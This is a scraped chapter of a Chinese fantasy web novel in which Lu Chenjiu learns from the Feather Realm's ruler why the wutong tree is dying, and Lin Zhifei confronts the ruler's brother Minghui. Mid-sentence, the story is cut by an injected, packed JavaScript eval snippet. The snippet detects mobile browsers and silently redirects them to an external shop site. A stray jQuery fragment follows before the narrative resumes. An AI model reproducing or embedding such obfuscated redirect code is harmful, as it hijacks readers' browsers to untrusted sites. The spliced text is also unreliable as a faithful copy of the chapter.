文趣网 > 其他小说 > 开局就送屠龙宝刀 > 8. 第 8 章
    清都宫中。

    陆沉久在青鸟的引领下,再次来到清都宫。

    明珀还未离开,手里正捧着一卷书看得入神,下一刻就听见宫殿外青鸟的声音。

    看见那抹银黑相交的身影,他把书往案几上一甩,立刻起身,脚步匆匆上前。

    “尊者。”他躬身一礼,“尊者重返,可是有何事未道明?”

    “嗯。”陆沉久应声,目光扫过殿内的侍从。

    明珀了然,立即屏退宫殿里的所有侍从。

    待宫门关上,他抬手引着陆沉久到后殿去。

    清都宫是明珀处理政事的宫殿,分为前后殿。

    前殿专门面见臣子与重要之人,是严肃的场合。

    后殿则是明珀休息,会客的地方。

    后殿较前殿小了些,但摆件不少,墙面挂满字画。

    两人落座,明珀给陆沉久递去一杯清茶。

    “尊者有什么话尽管说。”

    陆沉久接过茶水,象征性地抿了一口,放下后直入主题:“我重返是为梧桐树一事,敢问帝君,梧桐树究竟怎么了?”

    若非刚刚林雉飞在场,明珀早就说明原因了。

    此刻陆沉久独身前来,再度问起,明珀叹息一声,将事情本末一一道来。

    “不瞒尊者,我羽族怕是不久后要成为无根之民了……”

    梧桐树是所有羽族人刻入骨子里的信仰。即便近些年梧桐树枝叶枯萎凋零,早不复从前繁茂,但羽族人对其的信奉并不减。

    明珀嗓音沙哑:“梧桐树被清露蝶啃食地仅剩三片绿叶,怕是只有三百年的时光了。”

    “清露蝶……”陆沉久蹙眉,找寻记忆里的相关信息,“清露蝶不是只生存于五湖春吗?怎么会出没羽渊?”

    清露蝶以各类仙树为食,最喜梧桐根叶,它们会专门派出族群中的佼佼者,为寻梧桐树。

    一旦找到梧桐树,哪怕间隔千里之外,它们的族群也会立刻感应到,旋即倾巢出动。

    它们唯一的弱点就是火。

    凡火对它们无用,妖族魂火只能驱逐它们一段时间。

    只有凤凰涅槃的火,才能将它们彻底烧死,并且千年之内不敢踏足梧桐树。

    明珀眉宇愁苦浓得化不开:“它们本该在五湖春的,但不知怎么回事,十五年前有一只清露蝶找到梧桐树,自此一发不可收拾。”

    陆沉久猜到了大概,但没猜到其中竟还有清露蝶的事。

    如果是普通问题,或许还有其他方法可以试一试。

    但这清露蝶……

    除非找到凤凰。

    明珀的情绪被点燃,如烟火炸开,眼眶蓄起泪水。碍于陆沉久在场,明珀死死掐住虎口,才不至于失态。

    “尊者想必也知,能彻底杀死清露蝶的唯有凤凰涅槃时的火,可世间最后一只凤凰已殒身灭命,至此羽渊再无凤凰出……”

    他越说,声音越哽咽。

    “没有凤凰,涅槃火不会生,梧桐树更无救。”

    梧桐树只有感应到凤凰存在,才会燃起涅槃火。

    身为羽渊帝君,明珀自然拼尽全力想救梧桐树。

    直至现在,还有他派出的羽族人,在妖域各地寻找凤凰的下落。

    “所以尊者啊。”明珀深吸一口气,收敛情绪,“不是孤不愿给梧桐叶,实在是没办法给啊。”

    陆沉久覆在椅子扶手上的手掌收紧,眸光沉落。

    默声良久,他起身:“多谢帝君告知,在下不再过多叨扰了。”

    明珀紧跟着站起来:“尊者再多留些时日吧,难得尊者来羽渊,可要让孤尽一尽地主之谊。”

    陆沉久立刻要拒绝,忽然脑海里飘过林雉飞的脸。

    她应该会想玩一玩……吧?

    陆沉久拿不准。

    梧桐叶的事情没了着落,她又寻杀父仇人心切……

    真不好说她是想留下来玩,还是准备用损招拿到梧桐叶。

    最后陆沉久没有直接应下,而是给了个模糊的回答。

    到底走或留,等他回去探探林雉飞的口风。

    **

    深巷之中。

    林雉飞捂着耳朵,对上明晖投来的恶意,视线笔直看去,不躲不避。

    她柳眉紧锁,实在摸不清对方的意思。

    明明询问她的来意了,为何还要对她出手?

    “王爷这是何意?”她拔下绿满,握在手中。

    若非知道自己跟踪的行为不占理,她早就在红羽箭射来时出手了。

    明晖凝眸,锐利的目光扫过林雉飞,质问道:“你非羽族人,混入羽渊,还跟踪我,你又是何意?”

    眼前少女非妖族,自然是凡尘来的。

    他兄长给过谁通行咒,他都是清楚的,其中并无林雉飞。

    那就说明是有人将她进来的,究竟是谁,很关键。

    若是那人……

    林雉飞闻言,心里窝火,却还是先解释身上的“疑团”。

    “我是陆沉久带来的,今早还与你们帝君见过。”

    她抱着狐假虎威的心态,念出陆沉久的名字。

    连帝君都要敬陆沉久几分,何况这位帝君的弟弟!

    “竟是他。”明晖低语。

    他认得陆沉久不奇怪,天下谁人不知这个名字。

    只是他意外,眼前这个少女是何身份,居然与陆沉久相识。

    辐毂三十宫没听说有这般年纪的弟子啊。

    “原是尊者带来的人,多有得罪了。”明晖嘴上说着道歉的话,实际语气敷衍,听不出诚意。

    林雉飞蹙眉,不藏着从对方身上感受到的态度:“你没觉得有多得罪我吧。”

    “算了算了,我也有问题。”她大人有大量地挥挥手,并解释,“我跟踪你是想找机会单独和你交谈。”

    闻言,明晖面色闪过不快,很快给他压了下去。

    “何事需要你鬼鬼祟祟跟踪我才能交谈?”他故意把“鬼鬼祟祟”四个字说得极重。

    谈起这个,林雉飞也不管明晖的阴阳怪气了:“我此番前来羽渊是为梧桐叶,听说梧桐树平日是由王爷照看的,我想问王爷要一片。”

    明晖没料到会有梧桐叶的事。

    他垂落目光,想到梧桐叶的现状,脸色沉了下来。

    “既然你见过兄长,想来也知道如今梧桐叶的状况。”目光淡瞥一眼林雉飞,“恕我拒绝。”

    “我不知道。”林雉飞摇头,打算刨根问底。“为何我爹爹十五年前就能拿来梧桐叶,我十五年后就拿不到呀?”

    明晖忽地抬眸,目光定定落在她面庞,上下扫量起来。

    “你爹是风……”他卡在名字良久,“风长康?!”

    这个名字占据他人生浓墨重彩的一笔,却因许久未提及,一下子没想起来。

    林雉飞惊喜:“你认识我爹爹?”

    爹爹从未和她详细说过从羽渊获得梧桐叶的经历,她只能猜测爹爹和帝君是相

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671105|207377||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    识的。至于其他人和爹爹认识与否,什么关系,她一概不知。

    明晖恢复肃穆沉静,仿佛刚刚惊讶失态的人不是他。

    他淡声回答:“堪堪见过一面,并不相熟。”

    这对父女真是古怪得很,不同姓,还长得不像。

    只是她为何来羽渊,还要梧桐叶?

    她旧疾复发了?亦或是风长康叫她来的?

    不论哪种情况,放她在羽渊都是个隐患。

    “不熟吗?”

    林雉飞有直觉,明晖定然撒谎了。

    爹爹与明晖熟不熟无从判断,但明晖肯定认识,并对爹爹有一定了解。

    至于明晖为何撒谎,其中内情就需要调查一番。

    见林雉飞怀疑,明晖脊骨悄然绷紧。

    他不打算再和林雉飞纠缠下去,冷眼淡瞥:“梧桐叶如今就三片,给不了你。”

    地面凭空起风,紧接着明晖摇身一变,化作一只体型硕大的五彩翳鸟,扑扇硕大的双翅,飞离此地。

    林雉飞料到就是这个结果了,面上无惊无怒。

    而且她还难得遭遇波折后,没有大段话蹦出来。

    诡异的沉默出现在她身上。

    她仰起下巴,望着明晖消失的方向,只觉脑海一片乱麻。

    凛凛黑雾迷空,从天顶与地面向中间延伸,两角的弧度弯曲,碰撞到一起时宛若一双眼睛。

    黑雾顷刻铺满,然而吐息的瞬间,明暗再度飞速变化。

    林雉飞眨眼,不知何时,人已经站在客栈的门口了。

    她伸手,拍拍脸颊,安慰好自己:“没事,往前走!船到桥头自然直!”

    情绪调整好,她踏步往客栈内走去。

    她回来得有点晚了,此刻天黑沉沉的,住客栈的人都回到各自房间里休息了。

    周遭静谧,唯有她哒哒的脚步声格外明显。

    林雉飞踩上最后一节楼梯,余光瞥见走廊上银黑身影。

    她抬头,直愣愣地撞上陆沉久那双冷森森的黑眸。

    她心脏骤然缩紧,轻拍自己的胸脯:“陆兄!你怎么不出声?”

    陆沉久清冽声音响起,还透着丝丝愠意。

    “你可记得我的话?”

    林雉飞下意识后退,但后方就是楼梯。脚底凌空的瞬间,她立刻撤回步子。

    “我……”她咬着下唇,后面的话半天没个形。

    什么话。

    他说过什么吗?

    等一下,好像还真说过……

    她记得陆沉久临走前特意叮嘱她——日落前回来。

    这下更没话说了,她总不能直接说自己忘了他的交代吧。

    意识到自己语气过重,陆沉久闭了闭眸子,再睁开时逼人的凌厉威压消散大半。

    “抱歉。”他羽睫垂下,调整好神色,“我态度太差,吓着你了。”

    熟悉的陆沉久回来了。

    “对呀,可把我吓坏了。”林雉飞碎步上前,双手交叠捂在心脏处,“我还以为我犯天条了呢,你这么生气。不过我也确实忘了你让我几时回来……”

    最后一句话格外小声,尽显心虚。

    昏黄的烛火摇曳,映照在林雉飞澄明的桃花眼上,看向陆沉久时眼睫轻眨扑扇。

    好似一只受惊的小鹿。

    陆沉久侧目,避开她的目光,凝声道:“羽渊不似凡尘,你初来乍到,许多规矩不明白,容易出错。惹了麻烦倒还好,就怕……你因此受伤。”